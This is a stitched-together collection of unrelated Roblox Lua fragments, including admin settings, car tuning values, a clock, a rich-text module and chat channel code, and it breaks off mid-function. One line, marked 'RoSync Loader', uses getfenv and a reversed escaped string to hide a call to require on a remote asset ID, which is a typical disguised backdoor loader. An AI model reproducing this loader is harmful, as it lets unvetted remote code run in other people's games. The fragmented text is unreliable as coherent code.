125, 0) }; {"b", "Blue", Color3.fromRGB(0, 255, 255) }; {"db", "DarkBlue", Color3.fromRGB(0, 50, 255) }; {"p", "Purple", Color3.fromRGB(150, 0, 255) }; {"pk", "Pink", Color3.fromRGB(255, 85, 185) }; {"bk", "Black", Color3.fromRGB(0, 0, 0) }; {"w", "White", Color3.fromRGB(255, 255, 255) }; }; ChatColors = { -- The colour a player's chat will appear depending on their rank. '["Owner"] = "Yellow";' makes the owner's chat yellow. [5] = "Yellow"; }; Cmdbar = 3; -- The minimum rank required to use the Cmdbar. Cmdbar2 = 3; -- The minimum rank required to use the Cmdbar2. ViewBanland = 3; -- The minimum rank required to view the banland. OnlyShowUsableCommands = false; -- Only display commands equal to or below the user's rank on the Commands page. RankRequiredToViewPage = { -- || The pages on the main menu || ["Commands"] = 3; ["Admin"] = 3; ["Settings"] = 3; }; RankRequiredToViewRank = { -- || The rank categories on the 'Ranks' subPage under Admin || ["Owner"] = 3; ["HeadAdmin"] = 3; ["Admin"] = 3; ["Mod"] = 3; ["VIP"] = 3; }; RankRequiredToViewRankType = { -- || The collection of loader-rank-rewarders on the 'Ranks' subPage under Admin || ["Owner"] = 0; ["SpecificUsers"] = 5; ["Gamepasses"] = 0; ["Assets"] = 0; ["Groups"] = 0; ["Friends"] = 0; ["FreeAdmin"] = 0; ["VipServerOwner"] = 0; }; RankRequiredToViewIcon = 3; WelcomeRankNotice = false; -- The 'You're a [rankName]' notice that appears when you join the game. Set to false to disable. WelcomeDonorNotice = false; -- The 'You're a Donor' notice that appears when you join the game. Set to false to disable. WarnIncorrectPrefix = true; -- Warn the user if using the wrong prefix | "Invalid prefix! Try using [correctPrefix][commandName] instead!" DisableAllNotices = false; -- Set to true to disable all HD Admin notices. ScaleLimit = 4; -- The maximum size players with a rank lower than 'IgnoreScaleLimit' can scale theirself. For example, players will be limited to ;size me 4 (if limit is 4) - any number above is blocked. IgnoreScaleLimit = 3; -- Any ranks equal or above this value will ignore 'ScaleLimit' CommandLimits = { -- Enables you to set limits for commands which have a number argument. Ranks equal to or higher than 'IgnoreLimit' will not be affected by Limit. ["fly"] = { Limit = 10000; IgnoreLimit = 3; }; ["fly2"] = { Limit = 10000; IgnoreLimit = 3; }; ["noclip"] = { Limit = 10000; IgnoreLimit = 3; }; ["noclip2"] = { Limit = 10000; IgnoreLimit = 3; }; ["speed"] = { Limit = 10000; IgnoreLimit = 3; }; ["jumpPower"] = { Limit = 10000; IgnoreLimit = 3; }; }; VIPServerCommandBlacklist = {"permRank", "permBan", "globalAnnouncement"}; -- Commands players are probihited from using in VIP Servers. GearBlacklist = {67798397}; -- The IDs of gear items to block when using the ;gear command. IgnoreGearBlacklist = 3; -- The minimum rank required to ignore the gear blacklist. PlayerDataStoreVersion = "V1.0"; -- Data about the player (i.e. permRanks, custom settings, etc). Changing the Version name will reset all PlayerData. SystemDataStoreVersion = "V1.0"; -- Data about the game (i.e. the banland, universal message system, etc). Changing the Version name will reset all SystemData. CoreNotices = { -- Modify core notices. You can find a table of all CoreNotices under [MainModule > Client > SharedModules > CoreNotices] --NoticeName = NoticeDetails; };
--immediatly
game.Workspace.window.die.Transparency = 0.4 game.Workspace.Specksoof.ParticleEmitter.Enabled = true game.Workspace.Firereactor.Particles.Enabled = true game.Workspace.Firereactor.Particles1.Enabled = true game.Workspace.Firereactor.Smoke.Enabled = true game.Workspace.Firereactor.Light.Enabled = true game.Workspace.Firereactor.Sound:Play()
--[[ Set the current node's status based on that of its children. If all children are skipped, mark it as skipped. If any are fails, mark it as failed. Otherwise, mark it as success. ]]
function TestSession:setStatusFromChildren() assert(#self.nodeStack > 0, "Attempting to set status from children on empty stack") local last = self.nodeStack[#self.nodeStack] local status = TestEnum.TestStatus.Success local skipped = true -- If all children were skipped, then we were skipped -- If any child failed, then we failed! for _, child in ipairs(last.children) do if child.status ~= TestEnum.TestStatus.Skipped then skipped = false if child.status == TestEnum.TestStatus.Failure then status = TestEnum.TestStatus.Failure end end end if skipped then status = TestEnum.TestStatus.Skipped end last.status = status end return TestSession
-- @outline // PRIVATE PROPERTIES
local UIS = game:GetService("UserInputService") local Cam = game.Workspace.Camera local ScrollValue = 0
--------STAGE--------
game.Workspace.projection1.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLeftBackground.Value).."" game.Workspace.projection2.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentRightBackground.Value)..""
--[[Engine]]
-- [TORQUE CURVE VISUAL] -- https://www.desmos.com/calculator/nap6stpjqf -- Use sliders to manipulate values -- Edit everything as if your car is NATURALLY aspirated, or as if it lacks a turbo. Tune.Horsepower = 750 Tune.IdleRPM = 800 Tune.PeakRPM = 4500 Tune.Redline = 4350 Tune.EqPoint = 4350 Tune.PeakSharpness = 20 Tune.CurveMult = 0.2 Tune.InclineComp = 1.2 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Turbo Settings Tune.Aspiration = "Super" --[[ [Aspiration] "Natural" : N/A, Naturally aspirated engine "Single" : Single turbocharger "Double" : Twin turbocharger "Super" : Supercharger ]] Tune.Boost = 3 --Max PSI (If you have two turbos and this is 15, the PSI will be 30) Tune.TurboSize = 25 --Turbo size; the bigger it is, the more lag it has. Tune.CompressRatio = 9 --The compression ratio (look it up) Tune.Sensitivity = 0.05 --How quickly the Supercharger (if appllied) will bring boost when throttle is applied. (Increment applied per tick, suggested values from 0.05 to 0.1) --Misc Tune.RevAccel = 300 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 250 -- Clutch engagement threshold (higher = faster response, lower = more stable RPM)
--[[Gabes variables]]
local CurrKickdown = 0 local LaunchBuild = _Tune.IdleRPM local Rev = script.Parent.Values.RPM car.DriveSeat.DriveMode.Changed:Connect(function() if car.DriveSeat.DriveMode.Value == "SportPlus" then if _Tune.TCSEnabled and _IsOn then _TCS = false end else if _Tune.TCSEnabled and _IsOn then _TCS = true end end end)
--Load the Nexus VR Character Model module.
local NexusVRCharacterModelModule local MainModule = script:FindFirstChild("MainModule") if MainModule then NexusVRCharacterModelModule = require(MainModule) else NexusVRCharacterModelModule = require(10728814921) -- was 6052374981 end
-----
local BlockingRemote = RS.Events.Blocking local RemoveBlocking = RS.Events.BlockingEnd
-- Ganondude
local time_zone = -5 -- Time zone, offset from GMT. local clock = script.Parent local face = clock.Face local hour_hand = clock.Hour local minute_hand = clock.Minute local second_hand = clock.Second local secondsInDay = 60*60*24 function rotateClockHand(hand,rotation) local lv = (face.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector*face.Size.Y/2.5 hand.CFrame = face.CFrame*CFrame.Angles(0,-rotation,0) + lv hand.CFrame = hand.CFrame - hand.CFrame.lookVector*hand.Size.Z/2 end while true do local tick = math.fmod(tick(),secondsInDay) local hour = math.floor(tick/3600) + 5 + time_zone local minute = math.floor(tick/60 - 60*hour) local second = math.floor(math.fmod(tick,60)) rotateClockHand(hour_hand,hour*(math.pi/6) + minute*(math.pi/500)) rotateClockHand(minute_hand,minute*(math.pi/30)) rotateClockHand(second_hand,second*(math.pi/30)) wait(0.1) end
--game.Players.LocalPlayer:WaitForChild("PlayerGui"):WaitForChild("Sound"):Play()
while game:GetService("RunService").RenderStepped:wait() do workspace.CurrentCamera.CameraType = "Scriptable" local l = 0--(game.Players.LocalPlayer:WaitForChild("PlayerGui"):WaitForChild("Sound").PlaybackLoudness /10) l = (l^3)/500 local lv = Vector3.new(-l,l/5,0) workspace.CurrentCamera:Interpolate(workspace:WaitForChild("CamPart").CFrame,workspace:WaitForChild("CamPart").CFrame + (workspace:WaitForChild("CamPart").CFrame.lookVector * Vector3.new(10,10,10)) + lv,2) end
-- Private Methods
function init(self) local label = self.Frame.Label local container = self.Frame.CheckContainer local checkmark = self.Button.Checkmark local function contentSizeUpdate() local absSize = self.Frame.AbsoluteSize local ratio = absSize.y / absSize.x container.Size = UDim2.new(ratio, 0, 1, 0) label.Size = UDim2.new(1 - ratio, -10, 1, 0) label.Position = UDim2.new(ratio, 10, 0, 0) end contentSizeUpdate() self._Maid:Mark(self.Frame:GetPropertyChangedSignal("AbsoluteSize"):Connect(contentSizeUpdate)) self._Maid:Mark(self.Button.Activated:Connect(function() self:SetValue(not checkmark.Visible) end)) end
--[[ A manager for a single host virtual node's connected events. ]]
local Logging = require(script.Parent.Logging) local CHANGE_PREFIX = "Change." local EventStatus = { -- No events are processed at all; they're silently discarded Disabled = "Disabled", -- Events are stored in a queue; listeners are invoked when the manager is resumed Suspended = "Suspended", -- Event listeners are invoked as the events fire Enabled = "Enabled", } local SingleEventManager = {} SingleEventManager.__index = SingleEventManager function SingleEventManager.new(instance) local self = setmetatable({ -- The queue of suspended events _suspendedEventQueue = {}, -- All the event connections being managed -- Events are indexed by a string key _connections = {}, -- All the listeners being managed -- These are stored distinctly from the connections -- Connections can have their listeners replaced at runtime _listeners = {}, -- The suspension status of the manager -- Managers start disabled and are "resumed" after the initial render _status = EventStatus.Disabled, -- If true, the manager is processing queued events right now. _isResuming = false, -- The Roblox instance the manager is managing _instance = instance, }, SingleEventManager) return self end function SingleEventManager:connectEvent(key, listener) self:_connect(key, self._instance[key], listener) end function SingleEventManager:connectPropertyChange(key, listener) local event = self._instance:GetPropertyChangedSignal(key) self:_connect(CHANGE_PREFIX .. key, event, listener) end function SingleEventManager:_connect(eventKey, event, listener) -- If the listener doesn't exist we can just disconnect the existing connection if listener == nil then if self._connections[eventKey] ~= nil then self._connections[eventKey]:Disconnect() self._connections[eventKey] = nil end self._listeners[eventKey] = nil else if self._connections[eventKey] == nil then self._connections[eventKey] = event:Connect(function(...) if self._status == EventStatus.Enabled then self._listeners[eventKey](self._instance, ...) elseif self._status == EventStatus.Suspended then -- Store this event invocation to be fired when resume is -- called. local argumentCount = select("#", ...) table.insert(self._suspendedEventQueue, { eventKey, argumentCount, ... }) end end) end self._listeners[eventKey] = listener end end function SingleEventManager:suspend() self._status = EventStatus.Suspended end function SingleEventManager:resume() -- If we're already resuming events for this instance, trying to resume -- again would cause a disaster. if self._isResuming then return end self._isResuming = true local index = 1 -- More events might be added to the queue when evaluating events, so we -- need to be careful in order to preserve correct evaluation order. while index <= #self._suspendedEventQueue do local eventInvocation = self._suspendedEventQueue[index] local listener = self._listeners[eventInvocation[1]] local argumentCount = eventInvocation[2] -- The event might have been disconnected since suspension started; in -- this case, we drop the event. if listener ~= nil then -- Wrap the listener in a coroutine to catch errors and handle -- yielding correctly. local listenerCo = coroutine.create(listener) local success, result = coroutine.resume( listenerCo, self._instance, unpack(eventInvocation, 3, 2 + argumentCount)) -- If the listener threw an error, we log it as a warning, since -- there's no way to write error text in Roblox Lua without killing -- our thread! if not success then Logging.warn("%s", result) end end index = index + 1 end self._isResuming = false self._status = EventStatus.Enabled self._suspendedEventQueue = {} end return SingleEventManager
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 5 -- cooldown for use of the tool again ZoneModelName = "Fell + killer" -- name the zone model MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
-- declarations
ToolAnim = "None" ToolAnimTime = 0 JumpAnimTime = 0 JumpAnimDuration = 0.3 ToolTransitionTime = 0.1 FallTransitionTime = 0.3 JumpMaxLimbVelocity = 0.75
-- LOCAL FUNCTIONS
local function checkTopbarEnabled() local success, bool = xpcall(function() return starterGui:GetCore("TopbarEnabled") end,function(err) --has not been registered yet, but default is that is enabled return true end) return (success and bool) end local function checkTopbarEnabledAccountingForMimic() local topbarEnabledAccountingForMimic = (checkTopbarEnabled() or not IconController.mimicCoreGui) return topbarEnabledAccountingForMimic end
--[[ Last synced 9/4/2021 12:51 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
------------------------------------------------------------------------ -- this is a stripped-down luaM_growvector (from lmem.h) which is a -- macro based on luaM_growaux (in lmem.c); all the following does is -- reproduce the size limit checking logic of the original function -- so that error behaviour is identical; all arguments preserved for -- convenience, even those which are unused -- * set the t field to nil, since this originally does a sizeof(t) -- * size (originally a pointer) is never updated, their final values -- are set by luaY:close_func(), so overall things should still work ------------------------------------------------------------------------
function luaY:growvector(L, v, nelems, size, t, limit, e) if nelems >= limit then error(e) -- was luaG_runerror end end
--------- MODULE BEGIN ---------
local textService = game:GetService("TextService") local runService = game:GetService("RunService") local animationCount = 0 function getLayerCollector(frame) if not frame then return nil elseif frame:IsA("LayerCollector") then return frame elseif frame and frame.Parent then return getLayerCollector(frame.Parent) else return nil end end function shallowCopy(tab) local ret = {} for key, value in pairs(tab) do ret[key] = value end return ret end function getColorFromString(value) if richText.ColorShortcuts[value] then return richText.ColorShortcuts[value] else local r, g, b = value:match("(%d+),(%d+),(%d+)") return Color3.new(r / 255, g / 255, b / 255) end end function getVector2FromString(value) local x, y = value:match("(%d+),(%d+)") return Vector2.new(x, y) end function setHorizontalAlignment(frame, alignment) if alignment == "Left" then frame.AnchorPoint = Vector2.new(0, 0) frame.Position = UDim2.new(0, 0, 0, 0) elseif alignment == "Center" then frame.AnchorPoint = Vector2.new(0.5, 0) frame.Position = UDim2.new(0.5, 0, 0, 0) elseif alignment == "Right" then frame.AnchorPoint = Vector2.new(1, 0) frame.Position = UDim2.new(1, 0, 0, 0) end end function richText:New(frame, text, startingProperties, allowOverflow, prevTextObject) for _, v in pairs(frame:GetChildren()) do v:Destroy() end if allowOverflow == nil then allowOverflow = true end local properties = {} local defaultProperties = {} if prevTextObject then text = prevTextObject.Text startingProperties = prevTextObject.StartingProperties end local lineFrames = {} local textFrames = {} local frameProperties = {} local linePosition = 0 local overflown = false local textLabel = Instance.new("TextLabel") local imageLabel = Instance.new("ImageLabel") local layerCollector = getLayerCollector(frame) textLabel.AutoLocalize = false local applyProperty, applyMarkup, formatLabel, printText, printImage, printSeries ----- Apply properties / markups ----- function applyMarkup(key, value) key = propertyShortcuts[key] or key if value == "/" then if defaultProperties[key] then value = defaultProperties[key] else warn("Attempt to default <"..key.."> to value with no default") end end if tonumber(value) then value = tonumber(value) elseif value == "false" or value == "true" then value = value == "true" end properties[key] = value if applyProperty(key, value) then -- Ok elseif key == "ContainerHorizontalAlignment" and lineFrames[#lineFrames] then setHorizontalAlignment(lineFrames[#lineFrames].Container, value) elseif defaults[key] then -- Ok elseif key == "Img" then printImage(value) else -- Unknown value return false end return true end function applyProperty(name, value, frame) local propertyType local ret = false for _, label in pairs(frame and {frame} or {textLabel, imageLabel}) do local isProperty = pcall(function() propertyType = typeof(label[name]) end) -- is there a better way to check if it's a property? if isProperty then if propertyType == "Color3" then label[name] = getColorFromString(value) elseif propertyType == "Vector2" then label[name] = getVector2FromString(value) else label[name] = value end ret = true end end return ret end ----- Set up default properties ----- for name, value in pairs(defaults) do applyMarkup(name, value) defaultProperties[propertyShortcuts[name] or name] = properties[propertyShortcuts[name] or name] end for name, value in pairs(startingProperties or {}) do applyMarkup(name, value) defaultProperties[propertyShortcuts[name] or name] = properties[propertyShortcuts[name] or name] end if prevTextObject then properties = prevTextObject.OverflowPickupProperties for name, value in pairs(properties) do applyMarkup(name, value) end end ----- Get vertical size ----- local function getTextSize() if properties.TextScaled == true then local relativeHeight if properties.TextScaleRelativeTo == "Screen" then relativeHeight = layerCollector.AbsoluteSize.Y elseif properties.TextScaleRelativeTo == "Frame" then relativeHeight = frame.AbsoluteSize.Y end return math.min(properties.TextScale * relativeHeight, 100) else return properties.TextSize end end ----- Lines ----- local contentHeight = 0 local function newLine() local lastLineFrame = lineFrames[#lineFrames] if lastLineFrame then contentHeight = contentHeight + lastLineFrame.Size.Y.Offset if not allowOverflow and contentHeight + getTextSize() > frame.AbsoluteSize.Y then overflown = true return end end local lineFrame = Instance.new("Frame") lineFrame.Name = string.format("Line%03d", #lineFrames + 1) lineFrame.Size = UDim2.new(0, 0, 0, 0) lineFrame.BackgroundTransparency = 1 local textContainer = Instance.new("Frame", lineFrame) textContainer.Name = "Container" textContainer.Size = UDim2.new(0, 0, 0, 0) textContainer.BackgroundTransparency = 1 setHorizontalAlignment(textContainer, properties.ContainerHorizontalAlignment) lineFrame.Parent = frame table.insert(lineFrames, lineFrame) textFrames[#lineFrames] = {} linePosition = 0 end newLine() ----- Label printing ----- local function addFrameProperties(frame) frameProperties[frame] = shallowCopy(properties) frameProperties[frame].InitialSize = frame.Size frameProperties[frame].InitialPosition = frame.Position frameProperties[frame].InitialAnchorPoint = frame.AnchorPoint end function formatLabel(newLabel, labelHeight, labelWidth, endOfLineCallback) local lineFrame = lineFrames[#lineFrames] local verticalAlignment = tostring(properties.TextYAlignment) if verticalAlignment == "Top" then newLabel.Position = UDim2.new(0, linePosition, 0, 0) newLabel.AnchorPoint = Vector2.new(0, 0) elseif verticalAlignment == "Center" then newLabel.Position = UDim2.new(0, linePosition, 0.5, 0) newLabel.AnchorPoint = Vector2.new(0, 0.5) elseif verticalAlignment == "Bottom" then newLabel.Position = UDim2.new(0, linePosition, 1, 0) newLabel.AnchorPoint = Vector2.new(0, 1) end linePosition = linePosition + labelWidth if linePosition > frame.AbsoluteSize.X and not (linePosition == labelWidth) then -- Newline, get rid of label and retry it on the next line newLabel:Destroy() local lastLabel = textFrames[#lineFrames][#textFrames[#lineFrames]] if lastLabel:IsA("TextLabel") and lastLabel.Text == " " then -- get rid of trailing space lineFrame.Container.Size = UDim2.new(0, linePosition - labelWidth - lastLabel.Size.X.Offset, 1, 0) lastLabel:Destroy() table.remove(textFrames[#lineFrames]) end newLine() endOfLineCallback() else -- Label is ok newLabel.Size = UDim2.new(0, labelWidth, 0, labelHeight) lineFrame.Container.Size = UDim2.new(0, linePosition, 1, 0) lineFrame.Size = UDim2.new(1, 0, 0, math.max(lineFrame.Size.Y.Offset, labelHeight)) newLabel.Name = string.format("Group%03d", #textFrames[#lineFrames] + 1) newLabel.Parent = lineFrame.Container table.insert(textFrames[#lineFrames], newLabel) addFrameProperties(newLabel) properties.AnimateYield = 0 end end function printText(text) if text == "\n" then newLine() return elseif text == " " and linePosition == 0 then return -- no leading spaces end local textSize = getTextSize() local textWidth = textService:GetTextSize(text, textSize, textLabel.Font, Vector2.new(layerCollector.AbsoluteSize.X, textSize)).X local newTextLabel = textLabel:Clone() newTextLabel.TextScaled = false newTextLabel.TextSize = textSize newTextLabel.Text = text -- This text is never actually displayed. We just use it as a reference for knowing what the group string is. newTextLabel.TextTransparency = 1 newTextLabel.TextStrokeTransparency = 1 newTextLabel.TextWrapped = false -- Keep the real text in individual frames per character: local charPos = 0 local i = 1 for first, last in utf8.graphemes(text) do local character = string.sub(text, first, last) local characterWidth = textService:GetTextSize(character, textSize, textLabel.Font, Vector2.new(layerCollector.AbsoluteSize.X, textSize)).X local characterLabel = textLabel:Clone() characterLabel.Text = character characterLabel.TextScaled = false characterLabel.TextSize = textSize characterLabel.Position = UDim2.new(0, charPos, 0, 0) characterLabel.Size = UDim2.new(0, characterWidth + 1, 0, textSize) characterLabel.Name = string.format("Char%03d", i) characterLabel.Parent = newTextLabel characterLabel.Visible = false addFrameProperties(characterLabel) charPos = charPos + characterWidth i = i + 1 end formatLabel(newTextLabel, textSize, textWidth, function() if not overflown then printText(text) end end) end function printImage(imageId) local imageHeight = getTextSize() local imageWidth = imageHeight -- Would be nice if we could get aspect ratio of image to get width properly. local newImageLabel = imageLabel:Clone() if richText.ImageShortcuts[imageId] then newImageLabel.Image = typeof(richText.ImageShortcuts[imageId]) == "number" and "rbxassetid://"..richText.ImageShortcuts[imageId] or richText.ImageShortcuts[imageId] else newImageLabel.Image = "rbxassetid://"..imageId end newImageLabel.Size = UDim2.new(0, imageHeight, 0, imageWidth) newImageLabel.Visible = false formatLabel(newImageLabel, imageHeight, imageWidth, function() if not overflown then printImage(imageId) end end) end function printSeries(labelSeries) for _, t in pairs(labelSeries) do local markupKey, markupValue = string.match(t, "<(.+)=(.+)>") if markupKey and markupValue then if not applyMarkup(markupKey, markupValue) then warn("Could not apply markup: ", t) end else printText(t) end end end ----- Text traversal + parsing ----- local overflowText local textPos = 1 local textLength = #text local labelSeries = {} if prevTextObject then textPos = prevTextObject.OverflowPickupIndex end while textPos and textPos <= textLength do local nextMarkupStart, nextMarkupEnd = string.find(text, "<.->", textPos) local nextSpaceStart, nextSpaceEnd = string.find(text, "[ \t\n]", textPos) local nextBreakStart, nextBreakEnd, breakIsWhitespace if nextMarkupStart and nextMarkupEnd and (not nextSpaceStart or nextMarkupStart < nextSpaceStart) then nextBreakStart, nextBreakEnd = nextMarkupStart, nextMarkupEnd else nextBreakStart, nextBreakEnd = nextSpaceStart or textLength + 1, nextSpaceEnd or textLength + 1 breakIsWhitespace = true end local nextWord = nextBreakStart > textPos and string.sub(text, textPos, nextBreakStart - 1) or nil local nextBreak = nextBreakStart <= textLength and string.sub(text, nextBreakStart, nextBreakEnd) or nil table.insert(labelSeries, nextWord) if breakIsWhitespace then printSeries(labelSeries) if overflown then break end printSeries({nextBreak}) if overflown then textPos = nextBreakStart break end labelSeries = {} else table.insert(labelSeries, nextBreak) end textPos = nextBreakEnd + 1 --textPos = utf8.offset(text, 2, nextBreakEnd) end if not overflown then printSeries(labelSeries) end ----- Alignment layout ----- local listLayout = Instance.new("UIListLayout") listLayout.HorizontalAlignment = properties.ContainerHorizontalAlignment listLayout.VerticalAlignment = properties.ContainerVerticalAlignment listLayout.Parent = frame ----- Calculate content size ----- local contentHeight = 0 local contentLeft = frame.AbsoluteSize.X local contentRight = 0 for _, lineFrame in pairs(lineFrames) do contentHeight = contentHeight + lineFrame.Size.Y.Offset local container = lineFrame.Container local left, right if container.AnchorPoint.X == 0 then left = container.Position.X.Offset right = container.Size.X.Offset elseif container.AnchorPoint.X == 0.5 then left = lineFrame.AbsoluteSize.X / 2 - container.Size.X.Offset / 2 right = lineFrame.AbsoluteSize.X / 2 + container.Size.X.Offset / 2 elseif container.AnchorPoint.X == 1 then left = lineFrame.AbsoluteSize.X - container.Size.X.Offset right = lineFrame.AbsoluteSize.X end contentLeft = math.min(contentLeft, left) contentRight = math.max(contentRight, right) end ----- Animation ----- animationCount = animationCount + 1 local animationDone = false local allTextReached = false local overrideYield = false local animationRenderstepBinding = "TextAnimation"..animationCount local animateQueue = {} local function updateAnimations() if allTextReached and #animateQueue == 0 or animationDone then animationDone = true runService:UnbindFromRenderStep(animationRenderstepBinding) animateQueue = {} return end local t = tick() for i = #animateQueue, 1, -1 do local set = animateQueue[i] local properties = set.Settings local animateStyle = animationStyles[properties.AnimateStyle] if not animateStyle then warn("No animation style found for: ", properties.AnimateStyle, ", defaulting to Appear") animateStyle = animationStyles.Appear end local animateAlpha = math.min((t - set.Start) / properties.AnimateStyleTime, 1) animateStyle(set.Char, animateAlpha, properties) if animateAlpha >= 1 then table.remove(animateQueue, i) end end end local function setFrameToDefault(frame) frame.Position = frameProperties[frame].InitialPosition frame.Size = frameProperties[frame].InitialSize frame.AnchorPoint = frameProperties[frame].InitialAnchorPoint for name, value in pairs(frameProperties[frame]) do applyProperty(name, value, frame) end end local function setGroupVisible(frame, visible) frame.Visible = visible for _, v in pairs(frame:GetChildren()) do v.Visible = visible if visible then setFrameToDefault(v) end end if visible and frame:IsA("ImageLabel") then setFrameToDefault(frame) end end local function animate(waitForAnimationToFinish) animationDone = false runService:BindToRenderStep(animationRenderstepBinding, Enum.RenderPriority.Last.Value, updateAnimations) local stepGrouping local stepTime local stepFrequency local numAnimated -- Make everything invisible to start for lineNum, list in pairs(textFrames) do for _, frame in pairs(list) do setGroupVisible(frame, false) end end local function animateCharacter(char, properties) table.insert(animateQueue, {Char = char, Settings = properties, Start = tick()}) end local function yield() if not overrideYield and numAnimated % stepFrequency == 0 and stepTime >= 0 then local yieldTime = stepTime > 0 and stepTime or nil wait(yieldTime) end end for lineNum, list in pairs(textFrames) do for _, frame in pairs(list) do local properties = frameProperties[frame] if not (properties.AnimateStepGrouping == stepGrouping) or not (properties.AnimateStepFrequency == stepFrequency) then numAnimated = 0 end stepGrouping = properties.AnimateStepGrouping stepTime = properties.AnimateStepTime stepFrequency = properties.AnimateStepFrequency if properties.AnimateYield > 0 then wait(properties.AnimateYield) end if stepGrouping == "Word" or stepGrouping == "All" then --if not (frame:IsA("TextLabel") and (frame.Text == " ")) then if frame:IsA("TextLabel") then frame.Visible = true for _, v in pairs(frame:GetChildren()) do animateCharacter(v, frameProperties[v]) end else animateCharacter(frame, properties) end if stepGrouping == "Word" then numAnimated = numAnimated + 1 yield() end --end elseif stepGrouping == "Letter" then if frame:IsA("TextLabel") --[[and not (frame.Text == " ") ]]then frame.Visible = true local text = frame.Text local i = 1 while true do local v = frame:FindFirstChild(string.format("Char%03d", i)) if not v then break end animateCharacter(v, frameProperties[v]) numAnimated = numAnimated + 1 yield() if animationDone then return end i = i + 1 end else animateCharacter(frame, properties) numAnimated = numAnimated + 1 yield() end else warn("Invalid step grouping: ", stepGrouping) end if animationDone then return end end end allTextReached = true if waitForAnimationToFinish then while #animateQueue > 0 do runService.RenderStepped:Wait() end end end local textObject = {} ----- Overflowing ----- textObject.Overflown = overflown textObject.OverflowPickupIndex = textPos textObject.StartingProperties = startingProperties textObject.OverflowPickupProperties = properties textObject.Text = text if prevTextObject then prevTextObject.NextTextObject = textObject end -- to overflow: check if textObject.Overflown, then use richText:ContinueOverflow(newFrame, textObject) to continue to another frame. ----- Return object API ----- textObject.ContentSize = Vector2.new(contentRight - contentLeft, contentHeight) function textObject:Animate(yield) if yield then animate() else coroutine.wrap(animate)() end if self.NextTextObject then self.NextTextObject:Animate(yield) end end function textObject:Show(finishAnimation) if finishAnimation then overrideYield = true else animationDone = true for lineNum, list in pairs(textFrames) do for _, frame in pairs(list) do setGroupVisible(frame, true) end end end if self.NextTextObject then self.NextTextObject:Show(finishAnimation) end end function textObject:Hide() animationDone = true for lineNum, list in pairs(textFrames) do for _, frame in pairs(list) do setGroupVisible(frame, false) end end if self.NextTextObject then self.NextTextObject:Hide() end end return textObject end function richText:ContinueOverflow(newFrame, prevTextObject) return richText:New(newFrame, nil, nil, false, prevTextObject) end return richText
--////////////////////////////// Methods --//////////////////////////////////////
local methods = {} methods.__index = methods function methods:SendSystemMessage(message, extraData) local messageObj = self:InternalCreateMessageObject(message, nil, true, extraData) local success, err = pcall(function() self.eMessagePosted:Fire(messageObj) end) if not success and err then print("Error posting message: " ..err) end self:InternalAddMessageToHistoryLog(messageObj) for i, speaker in pairs(self.Speakers) do speaker:InternalSendSystemMessage(messageObj, self.Name) end return messageObj end function methods:SendSystemMessageToSpeaker(message, speakerName, extraData) local speaker = self.Speakers[speakerName] if (speaker) then local messageObj = self:InternalCreateMessageObject(message, nil, true, extraData) speaker:InternalSendSystemMessage(messageObj, self.Name) else warn(string.format("Speaker '%s' is not in channel '%s' and cannot be sent a system message", speakerName, self.Name)) end end function methods:SendMessageObjToFilters(message, messageObj, fromSpeaker) local oldMessage = messageObj.Message messageObj.Message = message self:InternalDoMessageFilter(fromSpeaker.Name, messageObj, self.Name) self.ChatService:InternalDoMessageFilter(fromSpeaker.Name, messageObj, self.Name) local newMessage = messageObj.Message messageObj.Message = oldMessage return newMessage end function methods:CanCommunicateByUserId(userId1, userId2) if RunService:IsStudio() then return true end -- UserId is set as 0 for non player speakers. if userId1 == 0 or userId2 == 0 then return true end local success, canCommunicate = pcall(function() return Chat:CanUsersChatAsync(userId1, userId2) end) return success and canCommunicate end function methods:CanCommunicate(speakerObj1, speakerObj2) local player1 = speakerObj1:GetPlayer() local player2 = speakerObj2:GetPlayer() if player1 and player2 then return self:CanCommunicateByUserId(player1.UserId, player2.UserId) end return true end function methods:SendMessageToSpeaker(message, speakerName, fromSpeakerName, extraData) local speakerTo = self.Speakers[speakerName] local speakerFrom = self.ChatService:GetSpeaker(fromSpeakerName) if speakerTo and speakerFrom then local isMuted = speakerTo:IsSpeakerMuted(fromSpeakerName) if isMuted then return end if not self:CanCommunicate(speakerTo, speakerFrom) then return end -- We need to claim the message is filtered even if it not in this case for compatibility with legacy client side code. local isFiltered = speakerName == fromSpeakerName local messageObj = self:InternalCreateMessageObject(message, fromSpeakerName, isFiltered, extraData) message = self:SendMessageObjToFilters(message, messageObj, fromSpeakerName) speakerTo:InternalSendMessage(messageObj, self.Name) --// START FFLAG if (not IN_GAME_CHAT_USE_NEW_FILTER_API) then --// USES FFLAG --// OLD BEHAVIOR local filteredMessage = self.ChatService:InternalApplyRobloxFilter(messageObj.FromSpeaker, message, speakerName) if filteredMessage then messageObj.Message = filteredMessage messageObj.IsFiltered = true speakerTo:InternalSendFilteredMessage(messageObj, self.Name) end --// OLD BEHAVIOR else --// NEW BEHAVIOR local filterSuccess, isFilterResult, filteredMessage = self.ChatService:InternalApplyRobloxFilterNewAPI(messageObj.FromSpeaker, message) if (filterSuccess) then messageObj.FilterResult = filteredMessage messageObj.IsFilterResult = isFilterResult messageObj.IsFiltered = true speakerTo:InternalSendFilteredMessageWithFilterResult(messageObj, self.Name) end --// NEW BEHAVIOR end --// END FFLAG else warn(string.format("Speaker '%s' is not in channel '%s' and cannot be sent a message", speakerName, self.Name)) end end function methods:KickSpeaker(speakerName, reason) local speaker = self.ChatService:GetSpeaker(speakerName) if (not speaker) then error("Speaker \"" .. speakerName .. "\" does not exist!") end local messageToSpeaker = "" local messageToChannel = "" if (reason) then messageToSpeaker = string.format("You were kicked from '%s' for the following reason(s): %s", self.Name, reason) messageToChannel = string.format("%s was kicked for the following reason(s): %s", speakerName, reason) else messageToSpeaker = string.format("You were kicked from '%s'", self.Name) messageToChannel = string.format("%s was kicked", speakerName) end self:SendSystemMessageToSpeaker(messageToSpeaker, speakerName) 